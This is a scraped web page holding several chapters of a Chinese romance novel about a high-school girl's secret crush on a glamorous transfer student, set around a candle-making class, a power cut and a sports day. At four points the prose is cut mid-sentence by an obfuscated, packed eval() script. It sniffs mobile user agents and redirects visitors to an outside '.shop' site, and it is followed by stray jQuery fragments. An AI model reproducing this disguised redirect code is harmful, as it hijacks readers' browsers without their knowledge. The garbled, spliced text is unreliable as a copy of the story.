;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505611|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许汐言看起来傲,其实是很体贴别人感受的那种人,大概感受到闻染对她的疏离和一点点排斥,便没有再来找闻染说话了。
这时闻染坐在后排,望着前方许汐言的背影。
在心里说:我不是排斥你。
甚至,她现在心里浮现的,是一个完全与“排斥”相反的词。
教室里很安静,黑板上有上次素质活动留下的诗词绝句——“故山南望何处,秋水连天独归”,另有不知谁画的一只长耳兔子。
许汐言大抵觉得无聊,走上讲台,拿着黑板擦仔仔细细的擦干净。
这时,教室门口又有人走进来,看到许汐言擦黑板的侧影一愣:“做手工蜡烛是在这里吧?”
许汐言大抵没有笑,点点头,闻染坐在后排,望着她蓬松的卷发如蜻蜓翅膀一般轻颤。
不一会儿,教室里熙熙攘攘坐了各班的人。
都是一个高中的,读了两年,基本也都相熟。三两坐着聊天,就连闻染身边都走来一个四班的同学:“闻染对吧?”
闻染点点头。
“我是陶曼思文学社的同学,你来帮我们分过报纸的。”
闻染弯唇:“我记得你,王宁。”
“对对。”王宁笑着坐在她身边。
闻染分出一只眼睛去看许汐言。
少女长身坐着,大约觉得无聊,摸出一只耳机来塞进耳朵。
闻染忽然就不忍心了。
世界很热闹,许汐言很孤独。世界很喧哗,许汐言很安静。许汐言怎么能是一个孤独而安静的人呢,她该像早开的蔷薇一般花团锦簇。
闻染跟王宁说:“你等我一下。”
她站起来要往许汐言身边去了。
其实她是一个胆子很小的人。如果去外面吃面时老板加了她不要的葱,她是不敢跟老板吵的,而是一颗颗默默把葱挑出来。
她不是不知道,就冲许汐言在学校的人气,她这样走到许汐言身边,不知会受到多少瞩目,她最怕这样。
可,她受不了许汐言那么一个人坐着,受不了她婉拒许汐言一起去买早饭后、许汐言看向她的那一眼。
喜欢一个人或许就是这样。
她会让你胆小的部分更胆小,连买一双同色同款的匡威鞋都怕露了端倪。可她也会让你不知由何处生出一股勇气,像一个孤勇的剑客一般向她身边走去。
一路挥剑砍伐的,是自己的卑怯、敏感和各种懦弱的小心思,在她需要的时候,去往她身边。
可就当闻染要站起来的时候,老师忽然走进教室里来。
闻染一愣,又坐下了。
王宁问她:“你是想上厕所么?”
闻染摇摇头。
前排的许汐言把耳机摘下来,那时距第一代AirPods发布尚有几年,许汐言把有线耳机的线绕在iPod上,望向讲台的方向。
那是学校里早早开始用全系苹果产品的女生,会偶尔戴银色圆环耳钉也不被骂的女生,每天早上端一杯几十块钱星巴克来学校的女生,晚饭偶尔会点肯德基外卖去栅栏门边拿的女生。
那是一个,距离闻染很远很远的女生。
15.喜欢
老师站上讲台:“各班代表来齐了没有?来齐我们就开始了。”
说话间也是对着许汐言多看了一眼。
她什么都不用做,只消安安静静坐在这里,也是所有人瞩目的焦点。
做手工蜡烛的流程倒不复杂,老师在许汐言方才擦干净的黑板上,一边写流程一边对她们讲解。无非就是把原先的蜡块融解,添入自己想要的花瓣,再用模具重新塑形。
讲完拍拍手:“来吧大家,先把课桌围成一圈,摆个长方形吧,圆形怕摆不开。”
“老师,何必这么麻烦?”
“你以为我想这么麻烦啊?”老师笑着佯瞪她一眼:“要拍照的呀,要有那个氛围感的呀。”
起身搬桌子的时候,闻染很紧张。
前后的界限被打散,她有些怕跟许汐言坐到一处,又有些想跟许汐言坐到一处,那样是不是就可以顺理成章问出一句:“你刚才在听什么歌?钢琴曲么?”
然后再无比自然的接上一句:“明天要不要一起去买早饭?”
可是搬桌子的过程中,许汐言无比自然的避开了她,甚至不知怎的,两人坐成了最远对角。
闻染在左侧的最角落,许汐言在与她相对的右侧最角落。
闻染忽然想:许汐言不会是生她的气了吧?
人家主动来找她,她还拒绝,人家不要面子的吗?
不、不会吧……
闻染忐忑起来。
这时老师抱着花材路过她们每个人身后:“选你们自己喜欢的。”
闻染从小小竹筐里,捡出蔷薇和大丽花,王宁对着她多看一眼。
“怎么?”
王宁摇头:“没怎么,就是我以为你会选什么小苍兰一类的花,蓝蓝紫紫,更清淡点的那种。”
闻染只是笑笑。
教室里是白炽的短吊灯,灯管两头透着隐隐的黑,并不怎么高级。可即便在这样的光线条件下,与她远远相对的许汐言,面孔也似早开的蔷薇。
闻染的动手能力的确很强,完成了蜡烛等脱模的时候,抬头扫一眼,发现比她更早做完的一个人,是许汐言。
在其他同学还纷纷埋着头的时候,她俩的目光隔着远远对角线相撞。
闻染心里砰的一声,立刻挪开视线。
老师走过来:“做完了?”
“啊?嗯。”
老师检查她脱模之前的成品:“不错啊,手挺巧的嘛。”
又发下一张白纸:“写吧。”
“写什么?”
“今天活动的心得。”
“……哈?”
班长叫她来的时候,只说要做蜡烛,可没说要写小作文呀。
来都来了,闻染认命的抓起笔。
老师绕到许汐言身边,又给许汐言发了一张。
许汐言会写些什么?猜不到,闻染埋着头,把碎发勾回耳后,隔着这么远距离,她也听不到许汐言笔尖磕在桌面笃笃笃的声音。
直到人人写完小作文,蜡烛也差不多可以顺利脱模了。
老师又发了透明的玻璃纸给她们包装蜡烛,另叫了个同学:“帮我送到教务处去,其他人等在这里,在教务处孙老师说你们的小作文合格以前,都不许走。”
“啊?有没有搞错?”
她刚好发到闻染旁边,顺手点点闻染的肩:“我去办公室处理点工作,很快回来,刚才那同学回来后,你告诉她先不要走哦。”
“……好的,老师。”
老师走以后,一教室人等在这里。
另一名老师探头进来:“我就说这里怎么有灯,你们在这里干嘛呢?”
“参加素质活动,做手工蜡烛。”
老师笑:“做完了嘛?等着也是等着,来几个人帮我收实验器材。”
“我去我去!”
总比枯坐在这里有趣,同学们一窝蜂涌出去帮忙。
不敢走的是闻染,她老实,所以坐在这里等去教务处的同学回来。
可,偌大的教室里除了她,还剩了另一个人没走。
许汐言。
啊,这……
等喧闹一阵的教室重新归于寂静,闻染的心跳是夏末苦楝树上的蝉。
指腹在课桌上反复摩挲着,擦着纹路里眼睛一样的一块斑,这是跟许汐言搭话的好时候了,许汐言就那样坐着,也没戴耳机,望着前方的窗口,神情很淡。
不过如果许汐言在生她的气,不会让她下不来台吧?
不管了。
正当闻染要开口的时候,忽然“啪”的一声。
停电了。
也不是停电,应该是素质楼这栋的电路出了问题,因为很遥远的地方传来教学楼的光。可就像撒点盐会衬得西瓜越发的甜,一点点隐约的光亮像来自另个世界,反而衬出周遭越发的黑。
闻染不会惊叫。
她只是惊得弹了一下,凳子脚在地面剐蹭出有又闷又尖锐的一声。
许汐言那边什么动静都没有。
闻染摁着怦怦的心跳,有些想开口叫:“许汐言。”
“许汐言,你还在不在这里?”
可她也说不上什么心态,咬着牙关不开口。
直到轻轻“嚓”的一声,许汐言那方向,升起一朵小小的火苗。
闻染一愣。
很多年后回想起来,那明信片
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516775|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
般的一幕在闻染脑中犹然清晰。周遭的一片黑暗中,少女手中拿着一个淡荧光绿的打火机,就是便利店随手买来的那种。
很久以后闻染跟许汐言睡了,那时闻染已开始抽烟了,许汐言也是。一场欢爱后,许汐言抽着烟,站在波轮洗衣机边帮闻染洗床单,闻染从卧室出来,看她一眼,把自己刻着半边翅膀的银质打火机抛给了她。
许汐言收下了,并且一直用了下去。
而当下,闻染只是看着,少女白皙的手指被擦燃的火光映亮,接着火光似潮水一般扩大,把许汐言的身影轮廓投射在墙面上,像什么古老岩洞里神秘而美丽的壁画。
她那风情盛大而殊丽的脸,在一片暖黄的光线中变得柔和起来。
闻染大概是在那一刻确定——许汐言是从光里来的人。
许汐言就那样握着打火机,闻染忽然想:会不会烫到手啊?这种打火机的火光总是不稳。
应该是会的吧,因为许汐言拿了一阵后松了手,映亮整个教室的火光瞬间就熄了。
闻染吸吸鼻子。
心想许汐言应该不会再擦燃打火机了,等一会儿来电了就好了,学校这种地方电工师傅来的很快的。
可很快,许汐言又一次擦燃了打火机。
她为什么买打火机,难道许汐言抽烟?闻染乱七八糟的想着。
其实要想让许汐言不要烫到手,很简单,她们就地便有可用的材料——刚刚做好的手工蜡烛。
可闻染捧着自己刚刚做好的那一个,忽然小气起来。
倒不是格外珍惜自己的劳动成果,只是这里面的蔷薇和大丽花瓣,是她特意为许汐言选的。
许汐言那端很轻很轻的笑了声,如若教室里有其他人在场,闻染一定听不到这声笑。
许汐言笑什么?
笑她小气?
因为下一瞬,许汐言拆了自己那手工蜡烛的玻璃纸,用打火机把它点燃。
整个教室获得了一片稳定的光源,拽着两人的影子不断在墙上飘摇,时而许汐言的盛大些,时而闻染的盛大些。
闻染在心里揣摩着搭讪的词句:“你刚才耳机里在听什么歌?”
“耳机里听的,是什么歌?”
或者径直走到许汐言身边去,切记不要同手同脚,拉开椅子坐下,轻松而镇定的说:“嗨许汐言,可不可以把你耳机借我听一下?”
嗨许汐言。
嗨,许汐言。
当闻染在心里尝试着演绎各种断句和语调时,想不到先开口的会是许汐言:“闻染。”
闻染的肩一抖。
少女的声音染着一点点浅薄的笑意:“你该不会是喜欢我吧?”
16.难猜
“昭然若揭”大概是专为暗恋而生的成语。
那份心情似清风朗月、星空萤火般昭昭,可蒙着层用来临摹书法的透写纸,你自以为藏得很好,可那份光亮哪是一张半透的纸所能遮得住呢?
妙就妙在“若揭”。
半露不露,半藏不藏,那是你跟自己的游戏,一旦真有人把那层透写纸扯下来,随之而来的便是惊惶与混乱。
下意识便要否认:“怎么可能?我们不都是女孩子吗?”
这只是闻染下意识的话,事实上她坐在那里,望着许汐言,手工蜡烛大约燃到包裹花瓣的那一段了吧,隐约透着香。
她瞠目结舌的望着许汐言,一个字都说不出来。
许汐言笑道:“不喜欢我的话,你总躲着我干什么?”
“我……”
舌头是魔法森林里被施了法术的树根,直挺挺的僵在原地。这时教室外一阵脚步,闻染循声望去。
本以为是被老师抓壮丁去帮忙的同学回来了,却不想,走来的竟是白姝。
先是含笑看了闻染一眼,又望向另侧角落里的许汐言:“你怎么还在这啊?”
许汐言“嗯”了声:“下晚自习了?”
“下了呀,我远远看着素质楼好像停电了,又看我们班林畅一直没回来,想着说你们不会还没结束吧,就过来看一眼。”
许汐言懒懒的“嗯”一声。
等二十多岁闻染和许汐言变成情人后,她听过无数次许汐言用这种语调同别人说话,就如同许汐言那总是微微往下耷的浓睫,透着三分散漫,不经意的风情,好听的要命。
许汐言不需要岁月赋予的阅历,她好像天然就掌握了这项技能。
唯独同闻染说话时,她语调认真而温柔:“阿染。”“染染。”
而这时十七岁的闻染,只是一个人坐在教室另一端的角落,藏在课桌下的手紧紧攥成拳,到指甲都嵌进肉里去的程度。如果不是老师让她等在这里,管什么停电,管什么怕黑,她一定头也不回的跑走了。
她觉得自己傻得好可笑。
她怎么会觉得许汐言需要她来同情呢?
这个句子再简化一点,就变成,她怎么会觉得许汐言需要她呢?
那是许汐言,学校里人气最高的女生,只要许汐言想交朋友,多的是比闻染漂亮、聪明、开朗的人来亲近她。
比如许汐言转学过来以前,连续两年蝉联校花头衔的白姝。
白姝这人很妙,是那种机灵小狐狸一样的长相,但其实她性格很内向,家境也很好,为了考邶电表演系经常跟她妈一起去校外上表演课。
白姝在三班,不知她和许汐言是怎么认识、又怎么熟悉起来的。
看起来两人是朋友吧,毕竟说话的语气那样熟稔。
白姝拉开许汐言旁边的椅子坐下,听许汐言说明还不能走的原由,便说:“那我陪你等会儿吧。”
那我,陪你。
闻染脑子里嗡嗡的,觉得自己自大得太可笑了。幸好她刚才没有贸然跟许汐言搭话,幸好。
然而她连坐在这里都做不到了,站起来,一片蜡烛的火光中,许汐言和白姝一起看过来。
“许汐言。”她听到自己的声音很平静。
只有她自己知道声线在微微发颤。
“等去交小作文的同学回来,麻烦你跟她说一声,老师让她在这里等。”
说完就向教室门口冲去。
“闻染。”
想不到许汐言竟追了出来:“你怎么了?”
“我可能晚饭吃油了,胃不太舒服,先走了。”闻染埋着头走得飞快。
她这个借口找得格外充分,许汐言应该相信了,可为什么许汐言还跟在她身后,没有回教室跟白姝坐在一处。
当闻染匆匆踏过第一级楼梯时,脚步一滞。
因为许汐言跟在她身后,打开了手机手电,照着她脚底的路——许汐言的手机快没电了,所以刚才在教室里没用。
闻染头也不回的匆匆往楼下跑去,许汐言没有跑,但她走得很快跟在闻染身后。
这时又“啪”的一声,走廊里灯光大亮。
身后许汐言的脚步停下了。
闻染埋着头跑得更快了,等她脱离了许汐言的视线范畴,几乎舞动着手臂狂奔起来,鼻子止不住的发酸。
她竟然想哭。
哭什么呢。哭突然的停电,哭突然的来电,哭要是没有来电许汐言打着手电跟她走过黑暗而寂静的楼梯,她会不会发神经忽然转回头来说“对啊许汐言我就是喜欢你”。
所以我躲开你。
所以我排斥你。
你可以很随意的来跟我说话。
你可以很随意的对我好。
那是因为,你一点一点,都不喜欢我。
当跑过教室一楼的拐角的时候,闻染真的哭了,她背手藏进角落,声音发哽,哭得不发出一点声响。
又怕有人路过看到,抬手匆匆擦了一把脸上的泪痕,不停步的走了。
******
当晚所做的手工蜡烛,被闻染一路带回了家,塞进抽屉最深处,和那来自法国的精美铁盒、《国家》地理杂志一起静静躺着。
她埋首于写字桌前,把日记本藏在摊开的英语书下写:「讨厌许汐言。」
「最讨厌许汐言。」
「全世界最最最讨厌的,就是许汐言!」
这时柏惠珍上楼来敲门,闻染把英语书往下一拉遮住日记本。
柏惠珍:“宵夜煮好了呀,快下楼来吃。”
因为闻染今天回来晚了,给她的宵夜柏惠珍重新煮过。
闻染在餐桌边坐下:“怎么又是酒酿蛋呀。”
“我怕你下次痛经的呀,上次看许汐言,痛得好可怜。”
闻染的勺子在碗沿上撞了下:“怎么又提她?”
“舅舅又不在,哪里提都不能提啦?”柏惠珍坐在一边,趁她一边吃,一边同她闲聊:“今天学校里有没有发生什么事情?”
“被拉去做手工蜡烛了。”
“你们高三了还搞这些呀?”
“没办法,说是要评素质学校。”闻染说:“结果做完以后素质楼还停电了,倒霉死了。”
柏女士
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529724|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑:“你这么大了还像小时候一样怕黑呀?好了我不该笑你,毕竟是妈妈不好。诶对了,上次许汐言来家里吃饭,我跟她讲你怕黑,她还笑你。”
“妈!!”闻染傻了:“你怎么跟她说这些呀?”
“那我跟她又不熟,她的家庭情况问完了,总得要说说你的事呀,总不能坐着干吃饭的。那你又没有别的毛病,又不像有些小孩到小学了还尿裤子,没什么事情好拿来讲的呀,就只有怕黑么。”
闻染:……
也就是说,如果她到小学了还尿裤子,也会被她亲妈拿来讲给许汐言听?
闻染把头埋下去,把荷包蛋的蛋白咬破,柏女士煮蛋极有水平,蛋黄正是要凝不凝的完美状态,在酒酿里一散,把整碗酒酿染出蛋香。
闻染想到今晚许汐言被打火机烫到后、还又一次固执擦燃火石的手势。
原来许汐言,知道她怕黑。
吃完夜宵闻染上楼继续写作业,把刚才写的日记摊开来又看一眼:「最讨厌许汐言。」
「全世界最最最讨厌的,就是许汐言!」
其实无论「讨厌」还是「排斥」,它们的同义词,都是同一个。
******
第二天一早,闻染背着书包骑车到学校,刚好在自行车棚遇到陶曼思。
陶曼思:“你们昨晚被留到几点呀?”
“九点过。”
“我就说晚自习下了还没看到你回来,还以为你提前走了。”
“嗯,没有。”
闻染没有说更多,只是背着书包来到课桌边坐下的时候,看到抽屉里有一盒胃药。
包装盒上的全英文字样,让它的出处非常明显。
它来自从国外回来的许汐言。
其实无论这盒药,来自许汐言对柏惠珍善待于她的投桃报李,还是对所有同学一视同仁的善意,闻染通通都不想要。
那时她有个奇怪的心思,大约也是昨晚看到白姝来找许汐言后,她近乎生起气来的原因——如果许汐言给她的是跟其他人一样的,那她宁愿不要了。
闻染本以为昨晚的提前离开,会让老师今天来找她。
事实上并没有,因为她那篇小作文写得规规矩矩,上纲上线,挑不出任何毛病。事实上被叫到老师办公室的人,是许汐言。
“昨晚太晚了,就没有找你过来了。”老师把一张纸拍在办公桌上:“昨晚的活动感想,你写的这是什么?”
那张A4纸上就写了一句话:「素质活动上,有人偷偷看我。」
老师问:“谁偷偷看你?”
“兔子。”
“学校里哪来的兔子?”
许汐言略散漫的笑了一下,解除背在身后的一只手,把海藻般的卷发勾回耳后去。
老师看着她那张过分明丽的脸也生不起气来,笑着挥挥手:“算了算了,放你一马,你回教室去吧。”
许汐言走出办公室的时候想,是像兔子呀,她主动找过去的时候,把她拒绝得彻彻底底。
等她礼貌回避了吧,眼神又躲躲闪闪朝她这边看过来。
就,很难猜。
17.绯闻
闻染不知许汐言是何时把这盒胃药放进她抽屉的。
是许汐言自己来的特别早,还是托她们班哪个同学放的,她通通不得而知。
若这时向四周探听:“谁帮许汐言把药放进我抽屉的?”
会不会被视作一种炫耀。
于是闻染静静坐着,直到下了早自习,她和陶曼思准备去买早饭,有女生叫住她:“闻染。”
闻染回头。
“你跟许汐言是不是很熟?”
心怦怦跳了起来——帮许汐言把药放进她抽屉的,是这个女生吗?
可女生只是说:“有道英语题,怎么也搞不懂,好想问问从国外回来的她。”
陶曼思看闻染一眼。
闻染缓慢摇头:“不熟,我说很多次了,一点都不熟。”又跟女生说:“要不,你拿过来,我跟陶曼思一起讨论下。”
还好她俩英文成绩都不错,三人讨论一番,这题也就解了。
从礼貌上来说,许汐言惦着她昨晚随口说的一句胃不舒服、给她送了药,她应该去向许汐言道谢。
可她没有。
跟陶曼思一起买完面包、从小卖部走出来的时候,正好看见许汐言和白姝并肩走来。
陶曼思:“诶许……”
闻染一拉陶曼思:“走了走了。”
陶曼思走出食堂还在说:“许汐言什么时候和白姝这么要好了?她俩怎么认识的?”
“不知道。”
闻染也不想知道。
总而言之,许汐言有了新朋友,若说学校里有什么人最适合跟许汐言做朋友,那或许就是白姝。
同样的漂亮,同样的出挑,同样的家境优越。
按理说闻染应该觉得心里涩涩的,事实上她觉得松了一口气。
这时陶曼思轻轻一搡她的胳膊:“是张哲文。”
闻染抬眸,见张哲文一个人走在前方。
陶曼思推了推自己的眼镜架:“啊要不要去跟他说话……”
闻染笑:“想去就去呀。”
陶曼思一拽闻染:“你得陪我。”
“哎……”
陶曼思拉着闻染快跑两步:“张哲文。”
张哲文回眸。
闻染的确觉得张哲文跟其他同龄男生不一样,在他们还闹腾聒噪的时候,张哲文早早呈现出一种宁然气质,这让他在全校女生中人气很高。
找话题的是陶曼思,张哲文回应的很礼貌。
从英语作文聊到没时间看的番剧。
这时许汐言和白姝一起从食堂走出来,白姝看到许汐言的视线投向前方:“你看什么呢?”
“没什么。”许汐言收回视线。
因为陶曼思不好意思跟张哲文站得太近,所以这时三人行的队伍是,张哲文在左,闻染居中,陶曼思在右。
许汐言只是看了眼闻染素来安静、这时却言笑晏晏的脸。
心想:这不是挺会聊天的吗?
******
等到跟张哲文挥手告别,闻染一揉自己的脸:“脸都要笑僵了。”
对于她这么不擅找话题的人,每次陪陶曼思去找张哲文说一次话,简直都要她半条小命。而且,陶曼思还每次都要她走中间。
陶曼思这会儿问她:“我表现得明显么?”
“没有吧。”
“他会不会看出来我喜欢他?”
“应该不会。”
“算了,看出来就看出来吧。”陶曼思笑笑:“等高考完以后,我想告白。”
闻染吓一跳:“你这么勇!”
“第一次喜欢的人诶,总要给自己的青春一个交代吧。”陶曼思看向闻染:“说起来染染,你好像从来没有过喜欢的人哦。”
“……嗯。”
“也没对哪个男生表示过兴趣。”
“……嗯。”
“果然还是对你那个青梅竹马的邻居哥哥……”
“不是啦!”闻染打她胳膊。
陶曼思低低的笑。
过了会儿,又下定决心般的重复一遍:“嗯,等到高考完,我就去找他告白。”
闻染忽然有些羡慕陶曼思。
她忽然想,要是她喜欢上的,也是一个再普通些的人。是校园风云人物也没关系,哪怕喜欢她的人再多一些,可总归,你知道她跟自己是一国的。
或许闻染也会鼓起勇气,一次次去跟许汐言搭话,甚至设想着,等高考结束后,要鼓起勇气去跟许汐言告白。
可她自从见到许汐言的第一眼起,就知道凭许汐言的天资,会飞到很高很高的地方去。
高到无论她怎么跑、怎么追,也只是凭一双脚在地上狂奔的凡人,哪里追得上高远的风。
所以她从来就没想过把对许汐言的喜欢宣之于口。
她情愿这是她一个人的秘密。
许汐言跟白姝变成朋友是好事,这意味着她不用再为自己躲开许汐言生出什么愧疚。
反正许汐言有人陪了嘛。
一个多月过去,她和陶曼思的生活一如既往,变成班里不起眼的小角色。许汐言开学时来找她的那几次,渐渐被人淡忘,没有再来问她跟许汐言熟不熟。
所以,闻染的暗恋从小心翼翼,变作明目张胆。
比如课间上厕所,每次都会路过五班教室。有时许汐言坐在里面撑着头发呆,有时站在走廊里跟白姝聊天。
闻染每次都目不斜视的路过。陶曼思问闻染:“你现在怎么总想上厕所?要不要你妈带你到医院检查一下啊?”
比如课间操,闻染每次算着时间,拖拖拉拉,又忽然一拉陶曼思:“走,下楼排队。”
这时间差不多刚好白姝从三班走到五班门口,跟许汐言汇合,然后两人一起下楼。闻染和陶曼思混在人群中,刚好可以望见许汐言的背影。
海藻般的长发随着她轻快跃下台阶的步伐一跳一跳。偶尔楼梯转角时能瞥见许汐言的侧颜,嘴角勾着笑,可那双眼很淡。
比如许汐言偶尔也会留下来上晚自习,闻染会把书包收得很慢很慢,和陶曼思一起去车棚推车,可以望见许汐言站在路边打车。
少女单肩勾着包,那时她们已换了长袖长裤的校服,许汐言大概有许许多多双黯蓝色高帮匡威换着穿,偶尔会在路灯下漫不经心嚼着口香糖。
停在路边的出租车灯光打过来,映亮她的小半张侧脸,那灯光一闪而过,随着许汐言坐进出租车关上门,像一列轰隆隆碾过闻染青春的火车。
寂静无声,却又振聋发聩。
十月份的大事是校运会,学校本想让高三不参加,可上面好像来了要求,狠抓素质教育的这一套。
体委邹宇恒站到闻染的课桌前嘻嘻的笑。
闻染吓死了:“我不报名!我从小到大体育都很差的,也没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14544690|154710||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
参加过运动会。”
“哎呀,不是找你报名。”邹宇恒挠挠头。
“那什么事?”
邹宇恒:“算了放学再说。”
他一向是开朗性格,闻染简直猜不到有什么事让他这么吞吞吐吐。
晚自习放学,邹宇恒找到闻染,陶曼思一见这架势,溜了。
两人一起去车棚推车,要不是邹宇恒是校篮球队队长、学校里的人气王,而闻染太过平平无奇,可能又要传出另一段校园绯闻。
闻染都打开自己的车锁了,追问邹宇恒:“到底什么事呀?”
闲扯了一路,还没说。
“诶你吃炸鸡柳么?”
“我不吃。”
邹宇恒心一横:“你帮我写一封情书吧。”
“哈?”
“我喜欢一个女生。”
“谁?”
“不能告诉你。”
“……你不告诉我,我怎么写。”闻染有些无奈:“而且,为什么找我?像陶曼思这种文学社的文笔更好吧。”
“不是呀,写情书也不是最看重文笔吧。”邹宇恒挠挠头:“有一次你的作文不是被老师在全班念过么?我觉得挺有感觉的。”
“……什么感觉?”
“说不上来。”
“不行啦,情书哪能代笔,必须自己的真情实感。”
“我有真情实感呀!我就是表达不出来嘛。所以,你替我写一份,我看看,然后再跟你说我的感受,你再帮我改一份。”
“先不说我愿不愿意帮你,连目标对象都没有,我怎么写。”
“你按你自己喜欢一个人的心情写不就好了?应该都差不多吧。”一向高傲的男生勾下颈项,神情似虔诚的小狗:“拜托了闻染。”
说完怕闻染拒绝似的,转身就跑……
“哎!”
从第二天一早开始,邹宇恒一见到闻染就跟见了鬼似的,快速躲开。
陶曼思问闻染:“他昨晚跟你表白,你拒绝他了?”
“怎么可能。”
“那他看见你跑什么?”
“我告诉你,你不要跟别人讲哦。”
“那肯定啊,我嘴最严。”
“邹宇恒有个喜欢的人,想让我帮他写份情书。”
“谁?”学校里不知多少人或明或暗的对邹宇恒示好,从来都铩羽而归。
“他不肯说。”
“那你怎么写?”
闻染叹口气:“我也是这样说呀。”
校运会举办在即,学校的公告栏里,各班的参赛名单公布了出来。
买完早饭,闻染拉着陶曼思去看。
陶曼思笑:“怎么了你?不是从来不在意运动会吗?年年都找借口要练琴溜了。”
“随便看一看,毕竟,高中的最后一年了嘛。”
她假意很认真的从一班开始看起。
然后是她们自己班,三班,四班,五班。
一行行移过来的视线定格在“四百米栏:许汐言”。
大概许汐言连名字也出挑,陶曼思只是站在闻染身边随意的看着,目光却也锁定在那一行:“哇,许汐言又不是体育生,她居然要跨栏!”
闻染淡淡应一句:“是吗?”
装得可真像,连十多年的好朋友也没能看出来,此时校园里一阵浅蓝色的风,吹着她鬓角的发,以及心跳如雷。
18.胸前线条
运动会那天早上,闻染推开自己卧室的窗,楼下老式面包店里传出烤面包的香气,而天灰扑扑的,像鸽子翅羽下与白色相接的那一块。
好似快落雨。
闻染洗漱了下到一楼,柏惠珍正把早饭端上餐桌:“快过来吃。”
又坐在她对面,看着她咬水煮蛋:“今天的蛋煮得好伐?嫩的来。”
“嗯。”
“往年运动会你都不去的嘛,去练琴也好,在家休息也好,我可以帮你跟老师请假的呀。”柏惠珍眨眨眼:“撒谎么也没问题的呀。”
闻染笑起来,搬出先前回答陶曼思的那一套:“还是去吧,高中的最后一次了。”
柏惠珍说:“是哦,再过段时间过了十八岁生日,就不能算小孩子了哦。”
闻染心里一跳。
人生有些东西,就是有时效的。譬如心动,十几岁的时候是阳光,香樟树,滚了蓝边的白色校服。如若错过,就变成了房子车子票子,不是不真心,只是不纯粹。
她是否该感激老天,至少在她十七岁的尾巴上,给了她这样一次纯粹心动的机会。
梓育中学的体育场不够大,所以每年校运会,是借市里的体育场。
好在离得也不远,闻染骑车过去,停好了车,在车棚等着陶曼思。
陶曼思匆匆骑着车过来:“我有没有迟到?”
“没有啦。”
锁好了车两人一起往体育场内走,陶曼思忧心忡忡望一眼灰白的天:“不会下雨吧?”
再乖顺的学生,也怕运动会临时取消而被拉回教室上课。
“希望不要。”
“天灵灵地灵灵。”陶曼思说话间一搡闻染的胳膊:“你看。”
运动会的要求是,运动员们都穿运动服,其他学生穿校服。但总归脱离了学校环境,心情和书包都要轻盈些。
陶曼思是叫闻染看,有些女生悄悄化了裸妆:“睫毛夹过了,那么翘,还有肯定涂了淡粉的唇彩,不然嘴唇怎么可能那样嘟嘟的。”
“呃……有没有可能是吃了油饼没擦嘴?”
两人一齐笑起来。
“化妆也很正常啊,毕竟运动会嘛。”闻染弯弯唇:“你不是也换了新发带?想去给张哲文送水啊?他跑八百米的嘛。”
“哪有。”陶曼思搓了下自己的脸,又说:“到时候看情况。”
又瞥向闻染:“你倒是一点没打扮哦。”发型也还是清汤挂面的马尾。
闻染只是笑笑。
即便对十多年的闺蜜也说不出口。
她打扮了,不是化妆,不是换发型,而是——她穿了一双彩色横条纹的袜子,长及小腿,似一道蜿蜒的彩虹,掩藏在松垮垮的校服裤子之下。
因为许汐言要来参加运动会,她的心情,便是这般颜色。
青春很黯淡,可悸动很斑斓。
闻染和陶曼思这两人的体育成绩,注定了她俩与运动会无缘。看台蓝、黄、红、绿各自分区,她们分在蓝色那一区。
看台很高,要用力的抬脚才能攀上去。
坐下后陶曼思拉开书包:“吃么?”
闻染探头往里一看。
哗,陶曼思准备得好生齐备。好吃点饼干,小浣熊干脆面,咪咪虾条,还有一排AD钙奶。
“陶曼思同学。”闻染问:“你是高中生开运动会,还是小学生春游?”
陶曼思藏在眼镜后翻她一个白眼:“连续两年运动会你都没来,你是不知道,可无聊了。”
闻染不觉得无聊,她在一阵香辣蟹小浣熊的调味粉气味里撑着下巴,往运动场里看去。
田赛场已经有不少人在热身了,径赛场倒还空荡荡,有学生会的人在帮着置放栏架。
这时有人叫:“陶曼思!”
陶曼思一回眸:“哎,来了。”匆匆把干脆面往闻染一递,又拿纸巾擦了手:“帮我拿一下。”
